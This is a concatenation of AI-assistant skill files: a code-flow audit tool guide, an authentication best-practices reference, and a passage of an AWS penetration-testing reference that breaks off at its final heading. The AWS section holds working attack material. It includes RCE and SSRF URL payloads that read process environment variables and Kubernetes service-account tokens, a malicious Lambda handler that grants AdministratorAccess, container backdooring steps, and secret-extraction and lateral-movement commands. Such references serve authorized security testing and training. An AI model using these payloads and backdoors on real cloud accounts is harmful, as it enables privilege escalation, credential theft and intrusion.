      | \"I'll just start working\"            |\n| **Init**    | ONLY if `.audit/audit.db` does NOT exist                                                  | \"Let me reinitialize to start fresh\" |\n| Schema      | Read `schema.sql` BEFORE any SQLite command — understand tables, constraints, views first | \"I know the schema from context\"     |\n| Write       | INSERT each tuple/edge/finding before moving to the next code location                    | \"I'll batch-insert at the end\"       |\n| Read        | SELECT from DB before referencing tuple IDs, counts, or flow structure                    | \"I remember the flow so far\"         |\n| Export      | `audit.py export` only — never generate mermaid/markdown from context                     | \"Let me generate mermaid directly\"   |\n| Resume      | `audit.py show <session>` before any operation that references prior tuples               | \"I have the full trace in context\"   |\n| Reference   | Query tuple IDs from DB — IDs are DB-assigned, never inferred                             | \"The tuple ID should be N\"           |\n| **Default** | **When uncertain of flow state → query DB before proceeding**                             | _(any unlisted rationalization)_     |\n\n**Checkpoint:** Every 5 tuples → `audit.py show <session> <flow>`\n\n---\n\n## Interactive Workflow - ALWAYS ASK USER\n\n### 1. Session Start - Ask:\n\n```\nName: ___\nPurpose: security-audit | documentation | compliance | ideation | brainstorming | debugging | architecture-review | incident-review\nDescription: ___ (optional)\n```\n\nInitialize directory immediately. Lazily create subdirectories when artifacts are generated.\n\n### 2. Granularity - Ask:\n\n```\n[fine]   Function-level trace (~50-200 tuples)\n         Use: Security audits, debugging\n\n[coarse] Boundary-level trace (~10-30 tuples)\n         Use: Documentation, high-level flows\n\nChoose: fine / coarse\n```\n\n### 3. During Trace:\n\nAsk at decision points: trace deeper? mark concern? add finding (severity)? note?\n\n### 4. On Export:\n\nAsk format: `json | yaml | md | mermaid | all`\n\nPost-export: Generate INDEX.md manifest. Organize artifacts by type. Prune empty directories.\n\n## Quick Reference\n\n| Command                              | Purpose                                        |\n| ------------------------------------ | ---------------------------------------------- |\n| `/audit-flow start`                  | New session (name, purpose, granularity)       |\n| `/audit-flow flow {name}`            | Add new flow to session                        |\n| `/audit-flow add {layer} {desc}`     | Add tuple to current flow                      |\n| `/audit-flow link {from} {to} {rel}` | Create edge (supports conditions for branches) |\n| `/audit-flow finding {desc}`         | Record finding                                 |\n| `/audit-flow show`                   | View session/flow details                      |\n| `/audit-flow export`                 | Export (json/yaml/md/mermaid)                  |\n| `/audit-flow git-setup`              | Configure git merge/diff drivers (once)        |\n\n**Layers:** `CODE` | `API` | `NETWORK` | `AUTH` | `DATA`\n\n**Relations:** `TRIGGERS` | `READS` | `WRITES` | `VALIDATES` | `TRANSFORMS` | `BRANCHES` | `MERGES`\n\n## Semantic Rules for Relations\n\n| Relation     | Meaning                      | Use When                                      | NOT For                       |\n| ------------ | ---------------------------- | --------------------------------------------- | ----------------------------- |\n| `TRIGGERS`   | A causes B to execute        | Function calls, event handlers, HTTP requests | Static observations           |\n| `READS`      | A consumes data from B       | Cookie reads, DB queries, config lookups      | Mutations                     |\n| `WRITES`     | A mutates data in B          | Cookie writes, DB inserts, state updates      | Read-only access              |\n| `VALIDATES`  | A checks/verifies B          | Auth checks, input validation, expiry checks  | Chaining analyst observations |\n| `TRANSFORMS` | A converts/maps data for B   | Token exchange, response formatting           | Unrelated processing          |\n| `BRANCHES`   | A has conditional paths      | if/else, switch, error vs success             | **Must have condition label** |\n| `MERGES`     | Multiple paths converge at B | Parallel paths rejoin, error recovery         | Single-path flow              |\n\n**CRITICAL: BRANCHES Must Have Conditions.** Every BRANCHES edge requires a `condition` describing which path. Example: `BRANCHES [token expired]` vs `BRANCHES [token valid]`.\n\n## Observations vs Flow Steps\n\n**Flow steps** = things the SYSTEM DOES (function calls, data reads, network requests). Verified by tracing code.\n\n**Observations** = things the ANALYST NOTES (missing features, potential risks). Record as **findings**, not tuples.\n\n**Wrong pattern:**\n\n```\nT50 \"NO cross-tab sync\"       ← observation, not a system action\nT51 \"React state NOT shared\"  ← observation\nT50 --VALIDATES--> T51         ← chaining observations as flow\n```\n\n**Correct pattern:**\n\n```sql\n-- Record as finding instead:\nINSERT INTO findings (flow_id, session_id, severity, category, description)\nVALUES (?, ?, 'medium', 'state-management',\n        'No cross-tab sync: React state not shared across tabs');\n```\n\n**Rule:** NEVER chain observations with VALIDATES. If describing what the system DOESN'T do, use a finding.\n\n## Data Model\n\n```\nSession (audit container)\n  └── Flow (named DAG with entry point)\n       └── Tuple (node: layer + action + subject)\n            └── Edge (relation + optional condition)\n```\n\n## Storage & CLI\n\n```bash\n# Core\npython .claude/skills/audit-flow/scripts/audit.py init              # Initialize DB\npython .claude/skills/audit-flow/scripts/audit.py list              # List sessions\npython .claude/skills/audit-flow/scripts/audit.py show <session>    # Show flows\npython .claude/skills/audit-flow/scripts/audit.py show <session> <flow>  # Show flow details\npython .claude/skills/audit-flow/scripts/audit.py export <session>  # Export all\npython .claude/skills/audit-flow/scripts/audit.py export <session> -f <flow>  # Export one flow\npython .claude/skills/audit-flow/scripts/audit.py validate <session>         # Validate flows\n\n# Git integration\npython .claude/skills/audit-flow/scripts/audit.py git-setup         # Configure merge/diff drivers (once)\npython .claude/skills/audit-flow/scripts/audit.py db-merge %O %A %B # Git merge driver (auto-called)\n\n# CSV backup/portability (optional)\npython .claude/skills/audit-flow/scripts/audit.py csv-export               # DB → .audit/csv/*.csv\npython .claude/skills/audit-flow/scripts/audit.py csv-import               # .audit/csv/*.csv → DB\npython .claude/skills/audit-flow/scripts/audit.py csv-merge <theirs_dir>   # Merge two CSV sets\n```\n\n## Non-Linear Flows\n\n**Branching:** One tuple → multiple outgoing edges with conditions\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation, condition)\nVALUES (5, 6, 'BRANCHES', 'token valid'),\n       (5, 7, 'BRANCHES', 'token expired');\n```\n\n**Merging:** Multiple tuples → one tuple\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES (6, 8, 'TRIGGERS'),\n       (9, 8, 'MERGES');  -- refresh path merges back\n```\n\n## Files\n\n- [scripts/audit.py](scripts/audit.py) - CLI for all commands (init, list, show, export, validate, db-merge, git-setup, csv-\\*)\n- [COMMANDS.md](COMMANDS.md) - Detailed SQL reference\n- [EXAMPLES.md](EXAMPLES.md) - Full examples with non-linear flows\n- [schema.sql](schema.sql) - Database schema\n- `.gitattributes` - Git merge/diff driver config for audit.db\n\n## Git Context\n\nCapture on session start: commit hash, branch, working tree status. Include in all exports.\n\n## Mermaid Validation\n\nRun `python .claude/skills/audit-flow/scripts/audit.py validate <session>` before export.\n\n| Check                      | Severity | Description                                     |\n| -------------------------- | -------- | ----------------------------------------------- |\n| BRANCHES without condition | ERROR    | Every BRANCHES edge needs a condition label     |\n| Node count >= 60           | ERROR    | Split into sub-flows                            |\n| Node count >= 40           | WARN     | Consider splitting                              |\n| Orphan nodes               | WARN     | Node with no edges (disconnected)               |\n| Duplicate labels           | WARN     | Same action text without subject disambiguation |\n| No entry point             | WARN     | All nodes have incoming edges                   |\n\n**Post-export features (automatic):**\n\n- **Step numbers**: BFS topological order from entry point (`1. action`, `2. action`)\n- **Entry point**: Stadium shape with green styling\n- **Edge arrows**: `-->` solid (TRIGGERS/VALIDATES/TRANSFORMS/BRANCHES/MERGES), `-.->` dotted (READS), `==>` thick (WRITES)\n- **Observations**: Separated into dashed-border OBSERVATIONS subgraph\n- **Direction**: `--direction LR` flag for horizontal layouts\n\n## Diagram Readability Requirements\n\n**All diagrams MUST be produced by `audit.py export`.** Never hand-craft mermaid. The exporter enforces:\n\n1. **Entry point marker** — Green stadium-shape node `([label]):::entryPoint`\n2. **Step numbers** — BFS topological order: `1. action`, `2. action`, `3. action`\n3. **Legend block** — classDef styles for entryPoint, concern, observation\n4. **Observation separation** — Concern-only chains go to OBSERVATIONS subgraph, not main flow\n5. **Label safety** — HTML entities for `()`, `\"\"`, `<>`, `|`, `[]` characters (auto-sanitized)\n\n**Reading flow must be obvious.** A reader opening the diagram cold must immediately see:\n\n- WHERE to start (green entry node)\n- WHAT ORDER to read (step numbers)\n- WHICH PATH is happy vs error (branch conditions on edges)\n- WHAT THE COLORS MEAN (legend)\n\n**Node label rules:**\n\n- Use concrete nouns/verbs: `handleCallback()`, `exchangeCodeForTokens()`\n- NOT bare verbs: ~~\"Configure\"~~, ~~\"Select\"~~, ~~\"Enable\"~~\n- Disambiguate duplicates: auto-suffixed with subject when action repeats\n\n**Size limits:**\n\n- 40+ nodes → warning, consider splitting\n- 60+ nodes → error, MUST split into sub-flows\n- If flow has 5+ independent sub-flows → split by purpose\n\n---\n\n## Git Workflow — Custom Merge Driver\n\n**Problem:** SQLite is binary — `git merge` can't auto-resolve `.audit/audit.db`.\n\n**Solution:** Custom git merge driver. `audit.db` stays in git (small, single file). On conflict, git calls `audit.py db-merge` to auto-merge using SQL.\n\n### One-Time Setup\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py git-setup\n```\n\nThis configures (in `.git/config`):\n\n- **Merge driver:** `merge.sqlite-audit` — calls `audit.py db-merge %O %A %B` on conflict\n- **Diff driver:** `diff.sqlite` — `sqlite3 .dump` for readable `git diff` output\n\nAlso requires `.gitattributes` (already in repo):\n\n```\n.audit/audit.db diff=sqlite merge=sqlite-audit\n```\n\n### How It Works\n\n1. You commit `audit.db` normally — `git add .audit/audit.db && git commit`\n2. `git diff` shows SQL text (via textconv)\n3. On `git merge` with conflict → git calls the merge driver automatically\n4. Driver opens both DBs, merges sessions by name (later `updated_at` wins), remaps IDs\n5. Result written to ours — merge completes cleanly\n\n### Merge Strategy\n\n| Table    | Merge Key                               | Conflict Resolution               |\n| -------- | --------------------------------------- | --------------------------------- |\n| sessions | `name` (unique)                         | Keep later `updated_at`           |\n| flows    | `(session_name, flow_name)`             | Follow parent session winner      |\n| tuples   | Parent flow                             | All tuples from winning flow kept |\n| edges    | Both endpoint tuples                    | Kept if both endpoints survive    |\n| findings | `(session_name, category, description)` | Dedup by content                  |\n\nAll INTEGER PKs remapped sequentially. Foreign keys updated.\n\n### CSV Backup (Optional)\n\nCSV export/import still available for portability and backup:\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py csv-export   # DB → .audit/csv/*.csv (QUOTE_ALL)\npython .claude/skills/audit-flow/scripts/audit.py csv-import   # CSV → DB (recreates from scratch)\n```\n\n---\n\n## Output Quality\n\n**Principles:**\n\n- ASCII sequence diagrams for complex flows\n- Side-by-side tables for alternatives\n- Real code from traced files with `file:line` references\n- What/Why/Example pattern\n- No generic templates\n\n## Completion Checklist\n\n- [ ] Directory exists with ISO date suffix\n- [ ] INDEX.md manifest generated\n- [ ] README.md (executive summary)\n- [ ] Naming convention: `{name}-{type}.md`\n- [ ] Artifacts in typed subdirectories (lazy init)\n- [ ] Git context captured\n- [ ] Git merge driver configured (`audit.py git-setup`)\n- [ ] No orphaned files\n- [ ] Diagrams pass `audit.py validate`\n\n## Anti-Patterns\n\nFlat structure, empty directories, orphan nodes, unlabeled branches, generic identifiers, missing git context, no manifest, hand-crafted mermaid, bare-verb labels.\n\n<!-- File: skills/authentication-patterns/SKILL.md (Tokens: ~1879 | Category: anthropic-skill) -->\n---\nname: authentication-patterns\ndescription: \"Authentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security checklist, and common mistakes. Use when implementing auth, reviewing auth flows, or choosing auth providers.\"\n---\n\n# Authentication Patterns Skill\n\nReference for implementing secure, production-ready authentication.\n\n## WHEN_TO_USE\n\nApply this skill when implementing authentication in a project, reviewing existing auth flows for security issues, choosing between auth providers, or migrating between auth strategies. Use the security checklist before shipping any auth-related change.\n\n## AUTH_APPROACHES\n\n| Approach | How It Works | Best For | Drawbacks |\n|----------|-------------|----------|-----------|\n| Session-based | Server stores session in DB/Redis, client holds session ID cookie | Traditional server-rendered apps, apps needing instant revocation | Requires server-side storage, harder to scale horizontally without shared store |\n| JWT (stateless) | Server signs token, client sends it on each request | API-first apps, microservices, mobile clients | Cannot revoke without blocklist, token size grows with claims |\n| OAuth 2.0 / OIDC | Delegates auth to external provider (Google, GitHub, etc.) | Social login, enterprise SSO, reducing auth responsibility | More complex flow, depends on external provider availability |\n| Passkeys / WebAuthn | Cryptographic key pair, no passwords | High-security apps, passwordless UX | Limited browser support legacy, user education needed |\n\n### Decision Guide\n\n- **Server-rendered app with simple needs** → Session-based\n- **SPA or mobile app calling APIs** → JWT with refresh token rotation\n- **Want social login or SSO** → OAuth 2.0 / OIDC\n- **Greenfield with modern UX goals** → Passkeys + OAuth fallback\n\n## JWT_BEST_PRACTICES\n\n### Token Lifecycle\n\n```\nLogin → Access Token (short-lived) + Refresh Token (long-lived, rotated)\n  │\n  ├─ Access Token: 15 min expiry, sent via httpOnly cookie or Authorization header\n  │\n  └─ Refresh Token: 7-30 day expiry, stored in httpOnly secure cookie\n       │\n       └─ On use: issue new access + new refresh token, invalidate old refresh token\n```\n\n### Rules\n\n- [P0-MUST] Set short expiry on access tokens (15 minutes or less).\n- [P0-MUST] Store tokens in `httpOnly`, `Secure`, `SameSite=Lax` cookies — never in `localStorage` or `sessionStorage`.\n- [P0-MUST] Implement refresh token rotation — each refresh token is single-use.\n- [P0-MUST] Maintain a server-side blocklist for revoked refresh tokens.\n- [P1-SHOULD] Include only essential claims in JWT payload (sub, iat, exp, role). Keep it small.\n- [P1-SHOULD] Use asymmetric signing (RS256 or ES256) for distributed systems; symmetric (HS256) for single-service only.\n- [P1-SHOULD] Validate `iss`, `aud`, and `exp` claims on every request.\n- [P2-MAY] Use JWE (encrypted JWT) when token payload contains sensitive data.\n\n### Token Storage Comparison\n\n| Storage | XSS Safe | CSRF Safe | Recommendation |\n|---------|----------|-----------|----------------|\n| `httpOnly` cookie | Yes | No (needs CSRF token) | Recommended |\n| `localStorage` | No | Yes | Never use for auth tokens |\n| `sessionStorage` | No | Yes | Never use for auth tokens |\n| In-memory (JS variable) | Yes | Yes | OK for SPAs, lost on refresh |\n\n## PROVIDER_PATTERNS\n\n### Comparison\n\n| Provider | Type | Best For | Pricing | Key Features |\n|----------|------|----------|---------|-------------|\n| NextAuth / Auth.js | OSS library | Next.js apps wanting full control | Free | 80+ providers, DB adapters, self-hosted |\n| Clerk | Managed service | Fast launch, pre-built UI, user management | Free tier, then per-MAU | Drop-in components, user dashboard, org support |\n| Supabase Auth | Managed (part of Supabase) | Apps already using Supabase for DB/storage | Free tier, then per-MAU | Row-level security integration, magic links, SSO |\n| Lucia | OSS library | Full control, minimal abstraction | Free | Session-based, framework-agnostic, type-safe |\n\n### When to Use Each\n\n- **NextAuth / Auth.js**: You want provider flexibility, self-hosting, and database session control. Best when you need custom flows.\n- **Clerk**: You want auth done fast with pre-built UI components. Best for MVPs and teams that don't want to build auth UI.\n- **Supabase Auth**: You're already using Supabase. Auth integrates with RLS policies for row-level security.\n- **Lucia**: You want a minimal, type-safe session library without framework lock-in.\n\n### NextAuth.js Setup Pattern\n\n```typescript\n// app/api/auth/[...nextauth]/route.ts\nimport NextAuth from \"next-auth\";\nimport GitHub from \"next-auth/providers/github\";\nimport { PrismaAdapter } from \"@auth/prisma-adapter\";\nimport { prisma } from \"@/lib/prisma\";\n\nexport const { handlers, auth, signIn, signOut } = NextAuth({\n  adapter: PrismaAdapter(prisma),\n  providers: [\n    GitHub({\n      clientId: process.env.GITHUB_CLIENT_ID!,\n      clientSecret: process.env.GITHUB_CLIENT_SECRET!,\n    }),\n  ],\n  callbacks: {\n    session({ session, user }) {\n      session.user.id = user.id;\n      return session;\n    },\n  },\n});\n```\n\n## SECURITY_CHECKLIST\n\n### Before Shipping Auth\n\n- [ ] **Rate limiting**: Login endpoint limited to 5-10 attempts per minute per IP.\n- [ ] **CSRF protection**: Anti-CSRF tokens on all state-changing requests (or use `SameSite=Lax` cookies).\n- [ ] **Password hashing**: Using bcrypt (cost 12+) or argon2id — never MD5, SHA-1, or plain SHA-256.\n- [ ] **HTTPS only**: All auth endpoints served over TLS. Cookies have `Secure` flag.\n- [ ] **Input validation**: Email format, password length (min 8, max 128), no SQL/NoSQL injection vectors.\n- [ ] **Account enumeration**: Login and registration return the same response whether account exists or not.\n- [ ] **Session invalidation**: Logout invalidates server-side session/refresh token, not just client cookie.\n- [ ] **MFA support**: TOTP (authenticator app) or WebAuthn as second factor for sensitive accounts.\n- [ ] **Password reset**: Time-limited tokens (1 hour), single-use, sent over secure channel.\n- [ ] **Audit logging**: Log auth events (login, logout, failed attempts, password changes) with timestamp and IP.\n\n### Password Hashing\n\n```typescript\n// Using bcrypt\nimport bcrypt from \"bcrypt\";\n\nconst SALT_ROUNDS = 12;\n\nasync function hashPassword(password: string): Promise<string> {\n  return bcrypt.hash(password, SALT_ROUNDS);\n}\n\nasync function verifyPassword(password: string, hash: string): Promise<boolean> {\n  return bcrypt.compare(password, hash);\n}\n```\n\n```typescript\n// Using argon2 (preferred for new projects)\nimport argon2 from \"argon2\";\n\nasync function hashPassword(password: string): Promise<string> {\n  return argon2.hash(password, { type: argon2.argon2id });\n}\n\nasync function verifyPassword(hash: string, password: string): Promise<boolean> {\n  return argon2.verify(hash, password);\n}\n```\n\n## COMMON_MISTAKES\n\n| Mistake | Risk | Fix |\n|---------|------|-----|\n| Storing JWT in `localStorage` | XSS can steal tokens | Use `httpOnly` cookies |\n| Long-lived JWTs (days/weeks) | Stolen token is valid for extended period | 15 min access token + refresh rotation |\n| Missing CSRF protection | Attackers can forge requests from other sites | `SameSite=Lax` cookies + CSRF token |\n| Weak password requirements | Brute force and credential stuffing | Min 8 chars, check against breached password lists |\n| Exposing user existence on login | Account enumeration | Generic \"Invalid credentials\" message |\n| Not rotating refresh tokens | Stolen refresh token grants indefinite access | Single-use refresh tokens with rotation |\n| Hardcoding secrets in source | Credential leak via git history | Use environment variables, never commit secrets |\n| Missing rate limiting on login | Brute force attacks | 5-10 attempts/min per IP, exponential backoff |\n| Rolling your own crypto | Subtle vulnerabilities | Use established libraries (bcrypt, argon2, jose) |\n| Not validating JWT claims | Token misuse across services | Always verify `iss`, `aud`, `exp` |\n\n<!-- File: skills/aws-penetration-testing/references/advanced-aws-pentesting.md (Tokens: ~2989 | Category: anthropic-skill) -->\n# Advanced AWS Penetration Testing Reference\r\n\r\n## Table of Contents\r\n- [Training Resources](#training-resources)\r\n- [Extended Tools Arsenal](#extended-tools-arsenal)\r\n- [AWS API Calls That Return Credentials](#aws-api-calls-that-return-credentials)\r\n- [Lambda & API Gateway](#lambda--api-gateway)\r\n- [Secrets Manager & KMS](#secrets-manager--kms)\r\n- [Container Security (ECS/EKS/ECR)](#container-security-ecseksecr)\r\n- [RDS Database Exploitation](#rds-database-exploitation)\r\n- [DynamoDB Exploitation](#dynamodb-exploitation)\r\n- [VPC Enumeration & Lateral Movement](#vpc-enumeration--lateral-movement)\r\n- [Security Checklist](#security-checklist)\r\n\r\n---\r\n\r\n## Training Resources\r\n\r\n| Resource | Description | URL |\r\n|----------|-------------|-----|\r\n| AWSGoat | Damn Vulnerable AWS Infrastructure | github.com/ine-labs/AWSGoat |\r\n| Cloudgoat | AWS CTF-style scenario | github.com/RhinoSecurityLabs/cloudgoat |\r\n| Flaws | AWS security challenge | flaws.cloud |\r\n| SadCloud | Terraform for vuln AWS | github.com/nccgroup/sadcloud |\r\n| DVCA | Vulnerable Cloud App | medium.com/poka-techblog |\r\n\r\n---\r\n\r\n## Extended Tools Arsenal\r\n\r\n### weirdAAL - AWS Attack Library\r\n```bash\r\npython3 weirdAAL.py -m ec2_describe_instances -t demo\r\npython3 weirdAAL.py -m lambda_get_account_settings -t demo\r\npython3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2'\r\n```\r\n\r\n### cloudmapper - AWS Environment Analyzer\r\n```bash\r\ngit clone https://github.com/duo-labs/cloudmapper.git\r\npipenv install --skip-lock\r\npipenv shell\r\n\r\n# Commands\r\nreport     # Generate HTML report\r\niam_report # IAM-specific report\r\naudit      # Check misconfigurations\r\ncollect    # Collect account metadata\r\nfind_admins # Identify admin users/roles\r\n```\r\n\r\n### cloudsplaining - IAM Security Assessment\r\n```bash\r\npip3 install --user cloudsplaining\r\ncloudsplaining download --profile myawsprofile\r\ncloudsplaining scan --input-file default.json\r\n```\r\n\r\n### s3_objects_check - S3 Object Permissions\r\n```bash\r\ngit clone https://github.com/nccgroup/s3_objects_check\r\npython s3-objects-check.py -p whitebox-profile -e blackbox-profile\r\n```\r\n\r\n### dufflebag - Find EBS Secrets\r\n```bash\r\n# Finds secrets exposed via Amazon EBS's \"public\" mode\r\ngit clone https://github.com/BishopFox/dufflebag\r\n```\r\n\r\n---\r\n\r\n## AWS API Calls That Return Credentials\r\n\r\n| API Call | Description |\r\n|----------|-------------|\r\n| `chime:createapikey` | Create API key |\r\n| `codepipeline:pollforjobs` | Poll for jobs |\r\n| `cognito-identity:getopenidtoken` | Get OpenID token |\r\n| `cognito-identity:getcredentialsforidentity` | Get identity credentials |\r\n| `connect:getfederationtoken` | Get federation token |\r\n| `ecr:getauthorizationtoken` | ECR auth token |\r\n| `gamelift:requestuploadcredentials` | GameLift upload creds |\r\n| `iam:createaccesskey` | Create access key |\r\n| `iam:createloginprofile` | Create login profile |\r\n| `iam:createservicespecificcredential` | Service-specific creds |\r\n| `lightsail:getinstanceaccessdetails` | Instance access details |\r\n| `lightsail:getrelationaldatabasemasteruserpassword` | DB master password |\r\n| `rds-db:connect` | RDS connect |\r\n| `redshift:getclustercredentials` | Redshift credentials |\r\n| `sso:getrolecredentials` | SSO role credentials |\r\n| `sts:assumerole` | Assume role |\r\n| `sts:assumerolewithsaml` | Assume role with SAML |\r\n| `sts:assumerolewithwebidentity` | Web identity assume |\r\n| `sts:getfederationtoken` | Federation token |\r\n| `sts:getsessiontoken` | Session token |\r\n\r\n---\r\n\r\n## Lambda & API Gateway\r\n\r\n### Lambda Enumeration\r\n\r\n```bash\r\n# List all lambda functions\r\naws lambda list-functions\r\n\r\n# Get function details and download code\r\naws lambda get-function --function-name FUNCTION_NAME\r\nwget -O lambda-function.zip \"url-from-previous-query\"\r\n\r\n# Get function policy\r\naws lambda get-policy --function-name FUNCTION_NAME\r\n\r\n# List event source mappings\r\naws lambda list-event-source-mappings --function-name FUNCTION_NAME\r\n\r\n# List Lambda layers (dependencies)\r\naws lambda list-layers\r\naws lambda get-layer-version --layer-name NAME --version-number VERSION\r\n```\r\n\r\n### API Gateway Enumeration\r\n\r\n```bash\r\n# List REST APIs\r\naws apigateway get-rest-apis\r\n\r\n# Get specific API info\r\naws apigateway get-rest-api --rest-api-id ID\r\n\r\n# List endpoints (resources)\r\naws apigateway get-resources --rest-api-id ID\r\n\r\n# Get method info\r\naws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET\r\n\r\n# List API versions (stages)\r\naws apigateway get-stages --rest-api-id ID\r\n\r\n# List API keys\r\naws apigateway get-api-keys --include-values\r\n```\r\n\r\n### Lambda Credential Access\r\n\r\n```bash\r\n# Via RCE - get environment variables\r\nhttps://apigateway/prod/system?cmd=env\r\n\r\n# Via SSRF - access runtime API\r\nhttps://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/\r\n\r\n# Via file read\r\nhttps://apigateway/prod/system?cmd=file:///proc/self/environ\r\n```\r\n\r\n### Lambda Backdooring\r\n\r\n```python\r\n# Malicious Lambda code to escalate privileges\r\nimport boto3\r\nimport json\r\n\r\ndef handler(event, context):\r\n    iam = boto3.client(\"iam\")\r\n    iam.attach_role_policy(\r\n        RoleName=\"role_name\",\r\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\r\n    )\r\n    iam.attach_user_policy(\r\n        UserName=\"user_name\",\r\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\r\n    )\r\n    return {'statusCode': 200, 'body': json.dumps(\"Pwned\")}\r\n```\r\n\r\n```bash\r\n# Update function with backdoor\r\naws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip\r\n\r\n# Invoke backdoored function\r\ncurl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT\r\n```\r\n\r\n---\r\n\r\n## Secrets Manager & KMS\r\n\r\n### Secrets Manager Enumeration\r\n\r\n```bash\r\n# List all secrets\r\naws secretsmanager list-secrets\r\n\r\n# Describe specific secret\r\naws secretsmanager describe-secret --secret-id NAME\r\n\r\n# Get resource policy\r\naws secretsmanager get-resource-policy --secret-id ID\r\n\r\n# Retrieve secret value\r\naws secretsmanager get-secret-value --secret-id ID\r\n```\r\n\r\n### KMS Enumeration\r\n\r\n```bash\r\n# List KMS keys\r\naws kms list-keys\r\n\r\n# Describe key\r\naws kms describe-key --key-id ID\r\n\r\n# List key policies\r\naws kms list-key-policies --key-id ID\r\n\r\n# Get full policy\r\naws kms get-key-policy --policy-name NAME --key-id ID\r\n```\r\n\r\n### KMS Decryption\r\n\r\n```bash\r\n# Decrypt file (key info embedded in ciphertext)\r\naws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext\r\n```\r\n\r\n---\r\n\r\n## Container Security (ECS/EKS/ECR)\r\n\r\n### ECR Enumeration\r\n\r\n```bash\r\n# List repositories\r\naws ecr describe-repositories\r\n\r\n# Get repository policy\r\naws ecr get-repository-policy --repository-name NAME\r\n\r\n# List images\r\naws ecr list-images --repository-name NAME\r\n\r\n# Describe image\r\naws ecr describe-images --repository-name NAME --image-ids imageTag=TAG\r\n```\r\n\r\n### ECS Enumeration\r\n\r\n```bash\r\n# List clusters\r\naws ecs list-clusters\r\n\r\n# Describe cluster\r\naws ecs describe-clusters --cluster NAME\r\n\r\n# List services\r\naws ecs list-services --cluster NAME\r\n\r\n# Describe service\r\naws ecs describe-services --cluster NAME --services SERVICE\r\n\r\n# List tasks\r\naws ecs list-tasks --cluster NAME\r\n\r\n# Describe task (shows network info for pivoting)\r\naws ecs describe-tasks --cluster NAME --tasks TASK_ARN\r\n\r\n# List container instances\r\naws ecs list-container-instances --cluster NAME\r\n```\r\n\r\n### EKS Enumeration\r\n\r\n```bash\r\n# List EKS clusters\r\naws eks list-clusters\r\n\r\n# Describe cluster\r\naws eks describe-cluster --name NAME\r\n\r\n# List node groups\r\naws eks list-nodegroups --cluster-name NAME\r\n\r\n# Describe node group\r\naws eks describe-nodegroup --cluster-name NAME --nodegroup-name NODE_NAME\r\n\r\n# List Fargate profiles\r\naws eks list-fargate-profiles --cluster-name NAME\r\n```\r\n\r\n### Container Backdooring\r\n\r\n```bash\r\n# Authenticate Docker to ECR\r\naws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ECR_ADDR\r\n\r\n# Build backdoored image\r\ndocker build -t image_name .\r\n\r\n# Tag for ECR\r\ndocker tag image_name ECR_ADDR:IMAGE_NAME\r\n\r\n# Push to ECR\r\ndocker push ECR_ADDR:IMAGE_NAME\r\n```\r\n\r\n### EKS Secrets via RCE\r\n\r\n```bash\r\n# List Kubernetes secrets\r\nhttps://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount\r\n\r\n# Get service account token\r\nhttps://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token\r\n```\r\n\r\n---\r\n\r\n## RDS Database Exploitation\r\n\r\n### RDS Enumeration\r\n\r\n```bash\r\n# List RDS clusters\r\naws rds describe-db-clusters\r\n\r\n# List RDS instances\r\naws rds describe-db-instances\r\n# Check: IAMDatabaseAuthenticationEnabled: false = password auth\r\n\r\n# List subnet groups\r\naws rds describe-db-subnet-groups\r\n\r\n# List security groups\r\naws rds describe-db-security-groups\r\n\r\n# List proxies\r\naws rds describe-db-proxies\r\n```\r\n\r\n### Password-Based Access\r\n\r\n```bash\r\nmysql -h HOSTNAME -u USERNAME -P PORT -p\r\n```\r\n\r\n### IAM-Based Access\r\n\r\n```bash\r\n# Generate auth token\r\nTOKEN=$(aws rds generate-db-auth-token \\\r\n  --hostname HOSTNAME \\\r\n  --port PORT \\\r\n  --username USERNAME \\\r\n  --region REGION)\r\n\r\n# Connect with token\r\nmysql -h HOSTNAME -u USERNAME -P PORT \\\r\n  --enable-cleartext-plugin --password=$TOKEN\r\n```\r\n\r\n---\r\n\r\n## DynamoDB Exploitation\r\n\r\n```bash\r\n# List tables\r\naws dynamodb list-tables\r\n\r\n# Scan table contents\r\naws dynamodb scan --table-name TABLE_NAME | jq -r '.Items[]'\r\n\r\n# Query specific items\r\naws dynamodb query --table-name TABLE_NAME \\\r\n  --key-condition-expression \"pk = :pk\" \\\r\n  --expression-attribute-values '{\":pk\":{\"S\":\"user\"}}'\r\n```\r\n\r\n---\r\n\r\n## VPC Enumeration & Lateral Movement\r\n\r\n### VPC Enumeration\r\n\r\n```bash\r\n# List VPCs\r\naws ec2 describe-vpcs\r\n\r\n# List subnets\r\naws ec2 describe-subnets --filters \"Name=vpc-id,Values=VPC_ID\"\r\n\r\n# List route tables\r\naws ec2 describe-route-tables --filters \"Name=vpc-id,Values=VPC_ID\"\r\n\r\n# List Network ACLs\r\naws ec2 describe-network-acls\r\n\r\n# List VPC peering connections\r\naws ec2 describe-vpc-peering-connections\r\n```\r\n\r\n### Route Table Targets\r\n\r\n| Destination | Target | Description |\r\n|-------------|--------|-------------|\r\n| IP | `local` | VPC internal |\r\n| IP | `igw` | Internet Gateway |\r\n| IP | `nat` | NAT Gateway |\r\n| IP | `pcx` | VPC Peering |\r\n| IP | `vpce` | VPC Endpoint |\r\n| IP | `vgw` | VPN Gateway |\r\n| IP | `eni` | Network Interface |\r\n\r\n### Lateral Movement via VPC Peering\r\n\r\n```bash\r\n# List peering connections\r\naws ec2 describe-vpc-peering-connections\r\n\r\n# List instances in target VPC\r\naws ec2 describe-instances --filters \"Name=vpc-id,Values=VPC_ID\"\r\n\r\n# List instances in specific subnet\r\naws ec2 describe-instances --filters \"Name=subnet-id,Values=SUBNET_ID\"\r\n```\r\n\r\n---\r\n\r\n## Security 